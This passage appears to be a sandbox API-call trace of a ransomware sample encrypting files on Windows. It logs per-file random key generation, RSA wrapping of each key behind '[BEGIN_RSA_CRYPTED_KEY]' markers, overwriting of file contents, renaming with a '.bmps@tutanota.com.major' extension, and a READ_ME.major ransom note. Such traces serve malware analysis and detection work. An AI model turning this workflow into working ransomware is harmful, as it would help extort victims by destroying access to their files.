hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0134.527] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0134.527] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0134.527] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="m+E4HcHZTiqtRFkIky8qZZSDKMVO+UFhaUg2oFWtjEx/1EAp0U7ls+Hr2/UETGNZ\ne/J2LY9oWQWLfKEVOq3q5fDg0Q/w3JX6ulBYhOQpDQAa+u+F6cU30+CqrSU0RCHR\n6gyxKcn5538gPjD8fhW35cv5S6c36gRacR52GQtDu7IwafCg0VNWCvn5zNZ6ufvI\nHeraCsARo1USyw3R9aidFOwFc80duANHabUtvSJauz/8FaZf8+oejRgizf2xSTuF\n5/4HdoIJAVRAkegRNIe0/Ux2dd1hRX990BchRNETIQI8mXHPG9a43mxH6E8EWRYd\nwN8f0HqZj4GGwH9XTI40Wg==\n", pcchString=0x2e3f9a8) returned 1 [0134.527] WriteFile (in: hFile=0x490, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0134.527] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0134.527] WriteFile (in: hFile=0x490, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0134.527] CloseHandle (hObject=0x490) returned 1 [0134.530] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0134.530] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1030\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0134.531] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0134.531] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0134.531] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0134.531] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0134.531] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0134.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0134.532] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0134.532] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1030\\eula.rtf", dwFileAttributes=0x80) returned 1 [0134.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0134.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0134.532] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0134.532] CreateFileW (lpFileName="\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x490 [0134.532] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3314) returned 1 [0134.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xcf2) returned 0x5ed868 [0134.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xcf2) returned 0x5ee568 [0134.532] ReadFile (in: hFile=0x490, lpBuffer=0x5ed868, nNumberOfBytesToRead=0xcf2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0xcf2, lpOverlapped=0x0) returned 1 [0134.577] SetFilePointer (in: hFile=0x490, lDistanceToMove=-3314, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.577] WriteFile (in: hFile=0x490, lpBuffer=0x5ee568*, nNumberOfBytesToWrite=0xcf2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ee568*, lpNumberOfBytesWritten=0x2e3f9b4*=0xcf2, lpOverlapped=0x0) returned 1 [0134.577] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0134.577] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ee568 | out: hHeap=0x570000) returned 1 [0134.577] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xcf2 [0134.577] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0134.577] WriteFile (in: hFile=0x490, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0134.577] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0134.577] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0134.578] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0134.578] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0134.578] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="6CDWM4wry2AKvwcy1uI1qNokABKAwnEWJ32Qqoo3UWpd+cX6eoCWd/ELWM7Mcbhq\nl0mzqj03utV+L5dq6fPlpGrTjyuuYKT3DrCAm6o+f3Pnl5Ecn+iAyq4Pt77LLWy4\nfy1+RG119N9ZQrtE9pOGpD24ssuKoiGH0nnLunQjP6tK8ouwlgC0t5voGiKnANFh\n2J9liR1dSK+D9DKaDPeMzEQWehcnI5Imm0Mtvq0pk9hwFWvimKyshI2mUCeXDHEm\n+laS0ljwnzc7tliby1JkvrDz3evBIJF25+hIl52TWsYfgmWfIQuNKZNEImxAlymt\n783qu2YRfJCeUPLxJOkUmA==\n", pcchString=0x2e3f9a8) returned 1 [0134.578] WriteFile (in: hFile=0x490, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0134.578] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0134.578] WriteFile (in: hFile=0x490, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0134.578] CloseHandle (hObject=0x490) returned 1 [0134.578] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0134.579] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1030\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0134.580] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0134.580] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0134.580] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0134.580] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0134.580] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0134.580] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0134.580] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0134.580] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1298 | out: hHeap=0x570000) returned 1 [0134.580] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffc6249a, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a3190 [0134.580] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0134.580] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0134.580] GetLastError () returned 0x0 [0134.580] SetLastError (dwErrCode=0x0) [0134.580] GetLastError () returned 0x0 [0134.580] SetLastError (dwErrCode=0x0) [0134.580] GetLastError () returned 0x0 [0134.580] SetLastError (dwErrCode=0x0) [0134.580] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0134.581] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed68 [0134.581] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0134.581] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0134.581] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3290 [0134.581] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3290 | out: hHeap=0x570000) returned 1 [0134.581] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40630 [0134.581] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40630 | out: hHeap=0x570000) returned 1 [0134.581] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0134.581] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0134.581] FindNextFileW (in: hFindFile=0x5a3190, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffc6249a, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0134.581] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0134.581] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0134.581] GetLastError () returned 0x0 [0134.581] SetLastError (dwErrCode=0x0) [0134.581] GetLastError () returned 0x0 [0134.581] SetLastError (dwErrCode=0x0) [0134.581] GetLastError () returned 0x0 [0134.581] SetLastError (dwErrCode=0x0) [0134.581] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0134.581] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0134.581] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0134.581] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0134.581] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3290 [0134.581] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3290 | out: hHeap=0x570000) returned 1 [0134.581] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40540 [0134.581] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40540 | out: hHeap=0x570000) returned 1 [0134.581] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0134.581] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0134.581] FindNextFileW (in: hFindFile=0x5a3190, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0134.581] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0134.581] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0134.581] GetLastError () returned 0x0 [0134.581] SetLastError (dwErrCode=0x0) [0134.581] GetLastError () returned 0x0 [0134.581] SetLastError (dwErrCode=0x0) [0134.581] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0134.581] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0134.581] GetLastError () returned 0x0 [0134.582] SetLastError (dwErrCode=0x0) [0134.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0134.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0134.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee70 [0134.582] FindNextFileW (in: hFindFile=0x5a3190, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0134.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0134.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0134.582] GetLastError () returned 0x0 [0134.582] SetLastError (dwErrCode=0x0) [0134.582] GetLastError () returned 0x0 [0134.582] SetLastError (dwErrCode=0x0) [0134.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0134.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0134.582] GetLastError () returned 0x0 [0134.582] SetLastError (dwErrCode=0x0) [0134.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0134.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0134.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6300 [0134.582] FindNextFileW (in: hFindFile=0x5a3190, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffbefd8a, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xffbefd8a, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xffc6249a, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0134.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0134.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0134.582] GetLastError () returned 0x0 [0134.582] SetLastError (dwErrCode=0x0) [0134.582] GetLastError () returned 0x0 [0134.582] SetLastError (dwErrCode=0x0) [0134.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0134.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0134.582] GetLastError () returned 0x0 [0134.582] SetLastError (dwErrCode=0x0) [0134.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0134.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0134.582] FindNextFileW (in: hFindFile=0x5a3190, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0134.582] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0134.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0134.582] GetLastError () returned 0x0 [0134.582] SetLastError (dwErrCode=0x0) [0134.582] GetLastError () returned 0x0 [0134.582] SetLastError (dwErrCode=0x0) [0134.583] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0134.583] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0134.583] GetLastError () returned 0x0 [0134.583] SetLastError (dwErrCode=0x0) [0134.583] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed98 [0134.583] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed98 | out: hHeap=0x570000) returned 1 [0134.583] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0134.583] FindNextFileW (in: hFindFile=0x5a3190, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0134.583] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0134.583] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0134.583] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0134.583] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1031\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0134.583] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0134.583] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0134.583] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0134.583] CreateFileW (lpFileName="\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x494 [0134.583] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=18776) returned 1 [0134.583] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4958) returned 0x5ed868 [0134.583] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4958) returned 0x5f21c8 [0134.583] ReadFile (in: hFile=0x494, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x4958, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x4958, lpOverlapped=0x0) returned 1 [0134.632] SetFilePointer (in: hFile=0x494, lDistanceToMove=-18776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.632] WriteFile (in: hFile=0x494, lpBuffer=0x5f21c8*, nNumberOfBytesToWrite=0x4958, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5f21c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4958, lpOverlapped=0x0) returned 1 [0134.632] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0134.632] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5f21c8 | out: hHeap=0x570000) returned 1 [0134.633] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4958 [0134.633] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0134.633] WriteFile (in: hFile=0x494, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0134.633] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0134.633] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0134.634] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0134.634] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0134.634] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="5qd3RShUcUgS11HMMJ/Ft9OyVgWTFp6PslTAyw3l6/tYxogT2NLpgr0UAUapdCdr\nMFCSbMXKyXCmJoP8HlA64gp9GLIlGMoDsXkkaEgJ6pPePXO5XYyB9PX546h3HGXw\nBqDayb4qk/l7FcucsGdwojN6zyYURnwHRrtCUemLfc52KM5EZFbIu2VK/sMRr88E\n6t/d9B7bUG6eLqrCUVvl8ZEbKmvaPrixiInMS+jE4B+MnuiWVnDpfhNHEXChGEE4\noFDHFE9fsaVlLd8CjIit5FUlp4UaM2rlUviFEmzCf/tBsqiAPKJvcawAUwVWuWxU\nbQBtp4/5YoF47hrxoPE4FA==\n", pcchString=0x2e3f9a8) returned 1 [0134.634] WriteFile (in: hFile=0x494, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0134.634] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0134.634] WriteFile (in: hFile=0x494, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0134.634] CloseHandle (hObject=0x494) returned 1 [0134.635] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0134.635] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1031\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0134.637] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0134.637] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0134.637] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0134.637] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0134.637] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0134.637] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0134.637] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0134.637] SetFileAttributesW 